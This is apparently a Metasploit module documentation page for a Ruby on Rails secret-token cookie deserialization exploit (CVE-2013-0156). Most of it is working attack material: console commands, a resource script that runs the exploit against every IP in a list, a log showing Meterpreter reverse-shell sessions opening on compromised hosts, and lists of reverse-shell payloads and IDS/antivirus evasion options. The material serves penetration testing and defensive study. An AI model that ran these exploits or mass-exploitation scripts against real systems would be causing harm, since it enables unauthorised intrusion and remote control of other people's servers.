Ruby on Rails Known Secret Session Cookie Remote Code Execution - Metasploit


This page contains detailed information about how to use the exploit/multi/http/rails_secret_deserialization metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Module Overview


Name: Ruby on Rails Known Secret Session Cookie Remote Code Execution
Module: exploit/multi/http/rails_secret_deserialization
Source code: modules/exploits/multi/http/rails_secret_deserialization.rb
Disclosure date: 2013-04-11
Last modification time: 2020-10-02 17:38:06 +0000
Supported architecture(s): ruby
Supported platform(s): Ruby
Target service / protocol: http, https
Target network port(s): 80, 443, 3000, 8000, 8008, 8080, 8443, 8880, 8888
List of CVEs: CVE-2013-0156

This module implements Remote Command Execution on Ruby on Rails applications. Prerequisite is knowledge of the "secret_token" (Rails 2/3) or "secret_key_base" (Rails 4). The values for those can be usually found in the file "RAILS_ROOT/config/initializers/secret_token.rb". The module achieves RCE by deserialization of a crafted Ruby Object.

Module Ranking and Traits


Module Ranking:

  • excellent: The exploit will never crash the service. This is the case for SQL Injection, CMD execution, RFI, LFI, etc. No typical memory corruption exploits should be given this ranking unless there are extraordinary circumstances. More information about ranking can be found here.

Basic Usage


Using rails_secret_deserialization against a single host

Normally, you can use exploit/multi/http/rails_secret_deserialization this way:

msf > use exploit/multi/http/rails_secret_deserialization
msf exploit(rails_secret_deserialization) > show targets
    ... a list of targets ...
msf exploit(rails_secret_deserialization) > set TARGET target-id
msf exploit(rails_secret_deserialization) > show options
    ... show and set options ...
msf exploit(rails_secret_deserialization) > exploit

Using rails_secret_deserialization against multiple hosts

But it looks like this is a remote exploit module, which means you can also engage multiple hosts.

First, create a list of IPs you wish to exploit with this module. One IP per line.

Second, set up a background payload listener. This payload should be the same as the one your rails_secret_deserialization will be using:

  1. Do: use exploit/multi/handler
  2. Do: set PAYLOAD [payload]
  3. Set other options required by the payload
  4. Do: set EXITONSESSION false
  5. Do: run -j

At this point, you should have a payload listening.

Next, create the following script. Notice you will probably need to modify the ip_list path, and payload options accordingly:

<ruby>
#
# Modify the path if necessary
#
ip_list = '/tmp/ip_list.txt'

File.open(ip_list, 'rb').each_line do |ip|
  print_status("Trying against #{ip}")
  run_single("use exploit/multi/http/rails_secret_deserialization")
  run_single("set RHOST #{ip}")
  run_single("set DisablePayloadHandler true")

  #
  # Set a payload that's the same as the handler.
  # You might also need to add more run_single commands to configure other
  # payload options.
  #
  run_single("set PAYLOAD [payload name]")

  run_single("run")
end
</ruby>

Next, run the resource script in the console:

msf > resource [path-to-resource-script]

And finally, you should see that the exploit is trying against those hosts similar to the following MS08-067 example:

msf > resource /tmp/exploit_hosts.rc
[*] Processing /tmp/exploit_hosts.rc for ERB directives.
[*] resource (/tmp/exploit_hosts.rc)> Ruby Code (402 bytes)
[*] Trying against 192.168.1.80

RHOST => 192.168.1.80
DisablePayloadHandler => true
PAYLOAD => windows/meterpreter/reverse_tcp
LHOST => 192.168.1.199

[*] 192.168.1.80:445 - Automatically detecting the target...
[*] 192.168.1.80:445 - Fingerprint: Windows XP - Service Pack 3 - lang:English
[*] 192.168.1.80:445 - Selected Target: Windows XP SP3 English (AlwaysOn NX)
[*] 192.168.1.80:445 - Attempting to trigger the vulnerability...
[*] Sending stage (957999 bytes) to 192.168.1.80
[*] Trying against 192.168.1.109
RHOST => 192.168.1.109
DisablePayloadHandler => true
PAYLOAD => windows/meterpreter/reverse_tcp
LHOST => 192.168.1.199
[*] 192.168.1.109:445 - Automatically detecting the target...
[*] 192.168.1.109:445 - Fingerprint: Windows 2003 - Service Pack 2 - lang:Unknown
[*] 192.168.1.109:445 - We could not detect the language pack, defaulting to English
[*] 192.168.1.109:445 - Selected Target: Windows 2003 SP2 English (NX)
[*] 192.168.1.109:445 - Attempting to trigger the vulnerability...
[*] Meterpreter session 1 opened (192.168.1.199:4444 -> 192.168.1.80:1071) at 2016-03-02 19:32:49 -0600

[*] Sending stage (957999 bytes) to 192.168.1.109
[*] Meterpreter session 2 opened (192.168.1.199:4444 -> 192.168.1.109:4626) at 2016-03-02 19:32:52 -0600

Required Options


  • RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'

  • SECRET: The secret_token (Rails3) or secret_key_base (Rails4) of the application (needed to sign the cookie)

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Msfconsole Usage


Here is how the multi/http/rails_secret_deserialization exploit module looks in the msfconsole:

msf6 > use exploit/multi/http/rails_secret_deserialization

[*] No payload configured, defaulting to generic/shell_reverse_tcp
msf6 exploit(multi/http/rails_secret_deserialization) > show info

       Name: Ruby on Rails Known Secret Session Cookie Remote Code Execution
     Module: exploit/multi/http/rails_secret_deserialization
   Platform: Ruby
       Arch: ruby
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2013-04-11

Provided by:
  joernchen of Phenoelit <[email protected]>

Available targets:
  Id  Name
  --  ----
  0   Automatic

Check supported:
  No

Basic options:
  Name             Current Setting          Required  Description
  ----             ---------------          --------  -----------
  COOKIE_NAME                               no        The name of the session cookie
  DIGEST_NAME      SHA1                     yes       The digest type used to HMAC the session cookie
  HTTP_METHOD      GET                      yes       The HTTP request method (GET, POST, PUT typically work)
  Proxies                                   no        A proxy chain of format type:host:port[,type:host:port][...]
  RAILSVERSION     3                        yes       The target Rails Version (use 3 for Rails3 and 2, 4 for Rails4)
  RHOSTS                                    yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
  RPORT            80                       yes       The target port (TCP)
  SALTENC          encrypted cookie         yes       The encrypted cookie salt
  SALTSIG          signed encrypted cookie  yes       The signed encrypted cookie salt
  SECRET                                    yes       The secret_token (Rails3) or secret_key_base (Rails4) of the application (needed to sign the cookie)
  SSL              false                    no        Negotiate SSL/TLS for outgoing connections
  TARGETURI        /                        yes       The path to a vulnerable Ruby on Rails application
  VALIDATE_COOKIE  true                     no        Only send the payload if the session cookie is validated
  VHOST                                     no        HTTP server virtual host

Payload information:

Description:
  This module implements Remote Command Execution on Ruby on Rails 
  applications. Prerequisite is knowledge of the "secret_token" (Rails 
  2/3) or "secret_key_base" (Rails 4). The values for those can be 
  usually found in the file 
  "RAILS_ROOT/config/initializers/secret_token.rb". The module 
  achieves RCE by deserialization of a crafted Ruby Object.

References:
  https://nvd.nist.gov/vuln/detail/CVE-2013-0156
  http://robertheaton.com/2013/07/22/how-to-hack-a-rails-app-using-its-secret-token/

Module Options


This is a complete list of options available in the multi/http/rails_secret_deserialization exploit:

msf6 exploit(multi/http/rails_secret_deserialization) > show options

Module options (exploit/multi/http/rails_secret_deserialization):

   Name             Current Setting          Required  Description
   ----             ---------------          --------  -----------
   COOKIE_NAME                               no        The name of the session cookie
   DIGEST_NAME      SHA1                     yes       The digest type used to HMAC the session cookie
   HTTP_METHOD      GET                      yes       The HTTP request method (GET, POST, PUT typically work)
   Proxies                                   no        A proxy chain of format type:host:port[,type:host:port][...]
   RAILSVERSION     3                        yes       The target Rails Version (use 3 for Rails3 and 2, 4 for Rails4)
   RHOSTS                                    yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT            80                       yes       The target port (TCP)
   SALTENC          encrypted cookie         yes       The encrypted cookie salt
   SALTSIG          signed encrypted cookie  yes       The signed encrypted cookie salt
   SECRET                                    yes       The secret_token (Rails3) or secret_key_base (Rails4) of the application (needed to sign the cookie)
   SSL              false                    no        Negotiate SSL/TLS for outgoing connections
   TARGETURI        /                        yes       The path to a vulnerable Ruby on Rails application
   VALIDATE_COOKIE  true                     no        Only send the payload if the session cookie is validated
   VHOST                                     no        HTTP server virtual host

Payload options (generic/shell_reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  192.168.204.3    yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port

Exploit target:

   Id  Name
   --  ----
   0   Automatic

Advanced Options


Here is a complete list of advanced options supported by the multi/http/rails_secret_deserialization exploit:

msf6 exploit(multi/http/rails_secret_deserialization) > show advanced

Module advanced options (exploit/multi/http/rails_secret_deserialization):

   Name                    Current Setting                                     Required  Description
   ----                    ---------------                                     --------  -----------
   ContextInformationFile                                                      no        The information file that contains context information
   DOMAIN                  WORKSTATION                                         yes       The domain to use for Windows authentication
   DigestAuthIIS           true                                                no        Conform to IIS, should work for most servers. Only set to false for non-IIS servers
   DisablePayloadHandler   false                                               no        Disable the handler code for the selected payload
   EnableContextEncoding   false                                               no        Use transient context when encoding payloads
   FingerprintCheck        true                                                no        Conduct a pre-exploit fingerprint verification
   HttpClientTimeout                                                           no        HTTP connection and receive timeout
   HttpPassword                                                                no        The HTTP password to specify for authentication
   HttpRawHeaders                                                              no        Path to ERB-templatized raw headers to append to existing headers
   HttpTrace               false                                               no        Show the raw HTTP requests and responses
   HttpTraceColors         red/blu                                             no        HTTP request and response colors for HttpTrace (unset to disable)
   HttpTraceHeadersOnly    false                                               no        Show HTTP headers only in HttpTrace
   HttpUsername                                                                no        The HTTP username to specify for authentication
   SSLVersion              Auto                                                yes       Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
   UserAgent               Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)  no        The User-Agent header to use for all requests
   VERBOSE                 false                                               no        Enable detailed status messages
   WORKSPACE                                                                   no        Specify the workspace for this module
   WfsDelay                2                                                   no        Additional delay in seconds to wait for a session

Payload advanced options (generic/shell_reverse_tcp):

   Name                        Current Setting  Required  Description
   ----                        ---------------  --------  -----------
   ARCH                                         no        The architecture that is being targeted
   PLATFORM                                     no        The platform that is being targeted
   ReverseAllowProxy           false            yes       Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
   ReverseListenerBindAddress                   no        The specific IP address to bind to on the local system
   ReverseListenerBindPort                      no        The port to bind to on the local system if different from LPORT
   ReverseListenerComm                          no        The specific communication channel to use for this listener
   ReverseListenerThreaded     false            yes       Handle every connection in a new thread (experimental)
   StagerRetryCount            10               no        The number of times the stager should retry if the first connect fails
   StagerRetryWait             5                no        Number of seconds to wait for the stager between reconnect attempts
   VERBOSE                     false            no        Enable detailed status messages
   WORKSPACE                                    no        Specify the workspace for this module

Exploit Targets


Here is a list of targets (platforms and systems) which the multi/http/rails_secret_deserialization module can exploit:

msf6 exploit(multi/http/rails_secret_deserialization) > show targets

Exploit targets:

   Id  Name
   --  ----
   0   Automatic

Compatible Payloads


This is a list of possible payloads which can be delivered and executed on the target system using the multi/http/rails_secret_deserialization exploit:

msf6 exploit(multi/http/rails_secret_deserialization) > show payloads

Compatible Payloads
===================

   #   Name                                     Disclosure Date  Rank    Check  Description
   -   ----                                     ---------------  ----    -----  -----------
   0   payload/generic/custom                                    normal  No     Custom Payload
   1   payload/generic/shell_bind_tcp                            normal  No     Generic Command Shell, Bind TCP Inline
   2   payload/generic/shell_reverse_tcp                         normal  No     Generic Command Shell, Reverse TCP Inline
   3   payload/multi/meterpreter/reverse_http                    normal  No     Architecture-Independent Meterpreter Stage, Reverse HTTP Stager (Multiple Architectures)
   4   payload/multi/meterpreter/reverse_https                   normal  No     Architecture-Independent Meterpreter Stage, Reverse HTTPS Stager (Multiple Architectures)
   5   payload/ruby/pingback_bind_tcp                            normal  No     Ruby Pingback, Bind TCP
   6   payload/ruby/pingback_reverse_tcp                         normal  No     Ruby Pingback, Reverse TCP
   7   payload/ruby/shell_bind_tcp                               normal  No     Ruby Command Shell, Bind TCP
   8   payload/ruby/shell_bind_tcp_ipv6                          normal  No     Ruby Command Shell, Bind TCP IPv6
   9   payload/ruby/shell_reverse_tcp                            normal  No     Ruby Command Shell, Reverse TCP
   10  payload/ruby/shell_reverse_tcp_ssl                        normal  No     Ruby Command Shell, Reverse TCP SSL

Evasion Options


Here is the full list of possible evasion options supported by the multi/http/rails_secret_deserialization exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 exploit(multi/http/rails_secret_deserialization) > show evasion

Module evasion options:

   Name                          Current Setting  Required  Description
   ----                          ---------------  --------  -----------
   HTTP::header_folding          false            no        Enable folding of HTTP headers
   HTTP::method_random_case      false            no        Use random casing for the HTTP method
   HTTP::method_random_invalid   false            no        Use a random invalid, HTTP method for request
   HTTP::method_random_valid     false            no        Use a random, but valid, HTTP method for request
   HTTP::pad_fake_headers        false            no        Insert random, fake headers into the HTTP request
   HTTP::pad_fake_headers_count  0                no        How many fake headers to insert into the HTTP request
   HTTP::pad_get_params          false            no        Insert random, fake query string variables into the request
   HTTP::pad_get_params_count    16               no        How many fake query string variables to insert into the request
   HTTP::pad_method_uri_count    1                no        How many whitespace characters to use between the method and uri
   HTTP::pad_method_uri_type     space            no        What type of whitespace to use between the method and uri (Accepted: space, tab, apache)
   HTTP::pad_post_params         false            no        Insert random, fake post variables into the request
   HTTP::pad_post_params_count   16               no        How many fake post variables to insert into the request
   HTTP::pad_uri_version_count   1                no        How many whitespace characters to use between the uri and version
   HTTP::pad_uri_version_type    space            no        What type of whitespace to use between the uri and version (Accepted: space, tab, apache)
   HTTP::uri_dir_fake_relative   false            no        Insert fake relative directories into the uri
   HTTP::uri_dir_self_reference  false            no        Insert self-referential directories into the uri
   HTTP::uri_encode_mode         hex-normal       no        Enable URI encoding (Accepted: none, hex-normal, hex-noslashes, hex-random, hex-all, u-normal, u-all, u-random)
   HTTP::uri_fake_end            false            no        Add a fake end of URI (eg: /%20HTTP/1.0/../../)
   HTTP::uri_fake_params_start   false            no        Add a fake start of params to the URI (eg: /%3fa=b/../)
   HTTP::uri_full_url            false            no        Use the full URL for all HTTP requests
   HTTP::uri_use_backslashes     false            no        Use back slashes instead of forward slashes in the uri
   HTTP::version_random_invalid  false            no        Use a random invalid, HTTP version for request
   HTTP::version_random_valid    false            no        Use a random, but valid, HTTP version for request

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Error Messages


This module may fail with the following error messages:

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

SECRET does not match, wrong RAILSVERSION?


Here is a relevant code snippet related to the "SECRET does not match, wrong RAILSVERSION?" error message:

246:	      end
247:	
248:	      if check_secret(match[2],match[3])
249:	        print_good("SECRET matches! Sending exploit payload")
250:	      else
251:	        fail_with(Failure::BadConfig, "SECRET does not match, wrong RAILSVERSION?")
252:	      end
253:	    else
254:	      print_warning("Caution: Cookie not found, maybe you need to adjust TARGETURI")
255:	      if cookie_name.nil? || cookie_name.empty?
256:	        # This prevents trying to send busted cookies with no name

Here is a relevant code snippet related to the "Caution: Cookie not found, maybe you need to adjust TARGETURI" error message:

249:	        print_good("SECRET matches! Sending exploit payload")
250:	      else
251:	        fail_with(Failure::BadConfig, "SECRET does not match, wrong RAILSVERSION?")
252:	      end
253:	    else
254:	      print_warning("Caution: Cookie not found, maybe you need to adjust TARGETURI")
255:	      if cookie_name.nil? || cookie_name.empty?
256:	        # This prevents trying to send busted cookies with no name
257:	        fail_with(Failure::BadConfig, "No cookie found and no name given")
258:	      end
259:	      if datastore['VALIDATE_COOKIE']

Here is a relevant code snippet related to the "No cookie found and no name given" error message:

252:	      end
253:	    else
254:	      print_warning("Caution: Cookie not found, maybe you need to adjust TARGETURI")
255:	      if cookie_name.nil? || cookie_name.empty?
256:	        # This prevents trying to send busted cookies with no name
257:	        fail_with(Failure::BadConfig, "No cookie found and no name given")
258:	      end
259:	      if datastore['VALIDATE_COOKIE']
260:	        fail_with(Failure::BadConfig, "COOKIE not validated, unset VALIDATE_COOKIE to send the payload anyway")
261:	      else
262:	        print_status("Trying to leverage default controller without cookie confirmation.")

Here is a relevant code snippet related to the "COOKIE not validated, unset VALIDATE_COOKIE to send the payload anyway" error message:

255:	      if cookie_name.nil? || cookie_name.empty?
256:	        # This prevents trying to send busted cookies with no name
257:	        fail_with(Failure::BadConfig, "No cookie found and no name given")
258:	      end
259:	      if datastore['VALIDATE_COOKIE']
260:	        fail_with(Failure::BadConfig, "COOKIE not validated, unset VALIDATE_COOKIE to send the payload anyway")
261:	      else
262:	        print_status("Trying to leverage default controller without cookie confirmation.")
263:	      end
264:	    end
265:	

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References


See Also


Check also the following modules related to this module:

Related Nessus plugins:

Authors


  • joernchen of Phenoelit <joernchen[at]phenoelit.de>

Version


This page has been produced using Metasploit Framework version 6.2.26-dev. For more modules, visit the Metasploit Module Library.

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